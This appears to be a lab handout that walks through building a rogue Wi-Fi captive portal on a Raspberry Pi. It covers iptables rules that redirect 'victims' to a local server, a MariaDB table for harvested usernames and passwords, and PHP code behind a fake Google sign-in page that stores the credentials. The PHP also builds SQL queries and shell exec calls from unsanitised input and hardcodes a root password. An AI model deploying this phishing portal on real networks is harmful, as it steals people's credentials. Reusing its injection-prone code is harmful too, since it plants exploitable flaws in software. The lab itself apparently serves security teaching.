Supplementary Instruction of LAB9 configurations

Step1: IP redirection setup

IP redirection is required in order to redirect user to intended captive portal before accessing Internet. For this purpose, we will use Iptables and Apache 2. Before proceeding this step, Apache2 and PHP should be installed. Please follow commands for configuration.

First, create chain portal using mangle table, used for specific types of packet alternation.

```
#sudo iptables -t mangle -N portal
```

This will make sure all packets from interface wlan0 (Wi-Fi to victims) are processed in portal.

```
#sudo iptables -t mangle -A PREROUTING -i wlan0 -p tcp -m tcp –dport 1:65534 -j portal
#sudo iptables -t mangle -A PREROUTING -i wlan0 -p udp -m udp –dport 1:65534 -j portal
```

Redirect all incoming packets on interface wlan0 to local server at 192.168.4.1:80.

```
#sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp -m mark –mark 99 -m tcp –dport 1:65534 -j DNAT –to-destination 192.168.4.1:80
```

Add Iptables rule to mark all new incoming user for 99.

```
#sudo iptables -t mangle -A portal -j MARK –set-mark 99
```

Add a rule to return only TCP packet on 192.168.4.1

```
#sudo iptables -t mangle -I portal 1 -d 192.168.4.1 -p tcp -m tcp -j RETURN
#sudo iptables -t mangle -I portal 1 -d 192.168.4.1 -p udp --dport 1:52 -j DROP
#sudo iptables -t mangle -I portal 1 -d 192.168.4.1 -p udp --dport 54:65534 -j DROP
```

This rule makes sure all user should login first to get an Internet access.

```
#sudo iptables -t filter -A FORWARD -m mark --mark 99 -j DROP
#sudo iptables -t filter -A FORWARD -m mark --mark 99 -d 192.168.4.1 -j ACCEPT
```

Now, save your configuration and add it to “rc.local” file to make it effective whenever Raspberry Pi is booting.

```
# sudo sh -c "iptables-save > /etc/iptables.ipv4.nat"
# sudo nano /etc/rc.local
```

Once “rc.local” file is opened, add following right above "exit 0" to make these rules effective on boot.

```
iptables-restore < /etc/iptables.ipv4.nat
```

```
# Print the IP address
_IP=$(hostname -I) || true
if [ "$_IP" ]; then
  printf "My IP address is %s\n" "$_IP"
fi

iptables-restore < /etc/iptables.ipv4.nat
exit 0
```

Then reboot Raspberry Pi.

Now, go to your /etc/apache2/sites-enabled to configure local server. There should a file with an extension of ".conf". For this example, it is "phishing.conf", but default is "000-default.conf". Use existing file with ".conf" extension to edit.

```
#cd /etc/apache2/sites-enabled/
#nano phishing.conf
```

We need to turn on the rewrite engine and set rewrite condition to make sure the user is led to captive portal index page. Set the correct Document root. In the example it is "/var/www/html/Portal". If you use other folder to contain "index.php", you should modify it to corresponding path.

```
<VirtualHost *:80>
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html/Portal

    RewriteEngine on
    RewriteCond %{REMOTE_ADDR} !^192.168.4.1
    RewriteRule ^(.*) /index.php [R=301]

</VirtualHost>
```

Restart apache2 service to make it effective.

```
#sudo service apache2 restart
```

Step 2: Creating Database

MySQL should be installed at this moment. If not, refer Appendix to install it before proceeding this step.

We will create simple database in order to log the user input at the Captive Portal page, which is user credential information. So, let's create small database to store user information.

Login MySQL as an admin first using admin password.

```
root@raspberrypi:~# mysqladmin -u root -p
Enter password:
```

Create database named portal.

```
MariaDB [(none)]> create database portal;
Query OK, 1 row affected (0.001 sec)
```

Go to database.

```
MariaDB [(none)]> use portal
Database changed
```

Create table with three columns (i.e., user, pswd, and MAC) as showed below. User is for user ID, pswd for password, and MAC for user device's' MAC address. MAC address is used to distinguish new user.

```
MariaDB [portal]> create table portal(user VARCHAR(100),pswd VARCHAR(100),MAC VARCHAR(100));
```

At this moment, you may not able to connect to Mysql by PHP yet. You may need grant privileges to user root. In the command line, 'toor' right after "identified by" is the password of the root. Please use your password if different. Login to MySQL as root first and enter following commands.

#mysql -u root -p

```
MariaDB [(none)]> GRANT ALL PRIVILEGES ON portal.* TO 'root'@'localhost' identified by 'toor' with grant option;
Query OK, 0 rows affected (0.001 sec)

MariaDB [(none)]> set global read_only=0;
Query OK, 0 rows affected (0.000 sec)

MariaDB [(none)]> flush privileges;
Query OK, 0 rows affected (0.001 sec)

MariaDB [(none)]> exit
Bye
```

Now, database is setup and ready to use.

Step3: PHP Setup

Captive Portal is a webpage that all new incoming user should login first before grating Internet access. There are two main jobs in this webpage. One is to check if incoming user is new user or not and the other is to display login page to harvest the user credential information. The first page user will see is “index.php” in general and we will use it with login page for Captive Portal.

First, we will write a PHP code to check if incoming user is a new or not. For new user, it will ask for login. It will bypass for already login user. Variable $login is used to check for new or existing user condition.

```
<?php
if ($_SERVER["REQUEST_METHOD"]=="POST"){
    $user=$_POST['user'];
    $pswd=$_POST['pswd'];
    $login=TRUE;
    }
```

Then, we need to obtain client IP and MAC address. MAC address is used to check if the user information has been stored.

```
// get client IP
$ip = $_SERVER['REMOTE_ADDR'];

// get client MAC
@exec("arp -a",$array);
    foreach($array as $value){
        if(strpos($value,$_SERVER["REMOTE_ADDR"]) && preg_match("/(:?[0-9A-F]{2}[:-]){5}[0-9A-F]{2}/i",$value,$mac_array)){
            $mac = $mac_array[0];
            break;
        }
}
```

We need to connect database in order to check if it is in there.

```
$host="localhost";
$sqluser="root";
$sqlpswd="toor";
$dbname="portal";
$conn = new mysqli($host,$sqluser,$sqlpswd,$dbname);
if(mysqli_connect_errno($conn)){die("connect error".mysqli_connect_error());}
```

Use following statements to check the MAC in the database.

```
$sql = "SELECT * FROM portal WHERE MAC='[".$mac."]';";
$result = $conn->query($sql);
```

If it is in there, execute following command to grant Internet access to the MAC using Iptables.

```
if($result->num_rows>0){
    exec("sudo iptables -I portal 1 -t mangle -m mac --mac-source $mac -j RETURN");
    $conn->close();
    exit;
    }
```

If it is not in there, check if user finishes the login page. If finished, store the information into database. If not, lead user to login page.

```
else{
    if($login==TRUE){
        $sql="insert into portal (user,pswd,MAC) values('".$user."','".$pswd."','[".$mac."]');";
        if(($conn->query($sql))==TRUE){
            exec("sudo iptables -I portal 1 -t mangle -m mac --mac-source $mac -j RETURN");
            $conn->close();
            exit;}
        else{echo "Insert error".mysqli_error();}
        }
    else{
        echo "head to login page";
        $conn->close();
        header('Location: login.php');
        exit;
        }
    }
```

login page: "login.php"

You can design its UI as you like. "Google Sign in" is in this lab. The main part here is the form, which is used to transfer the username and password. The action is set as "index.php", which means user sign in information is sending to "index.php" to store once sign in form is completed.

```
<form action="index.php" method="POST">
    <div id="user">
        <input name="user" type="text" id="email or phone" placeholder="Email or phone"/>
    </div>
    <div id="psw">
        <input name="pswd" type="password" id="password" placeholder="Password"/>
    </div>
    <div><input type="submit" id="submit" value="login"/></div>
</form>
```

Trouble shooting

Sometimes, when the system is booting up, user may not be able to obtain the IP address. This may be because of dnsmasq and bind9 problem. If bind9 is installed, sometime dnsmasq does not work properly. If it happens, stop bind9. Then, start dnsmasq first and start bind9.

```
root@raspberrypi:/home/pi# service bind9 stop
root@raspberrypi:/home/pi# service dnsmasq start
root@raspberrypi:/home/pi# service bind9 start
```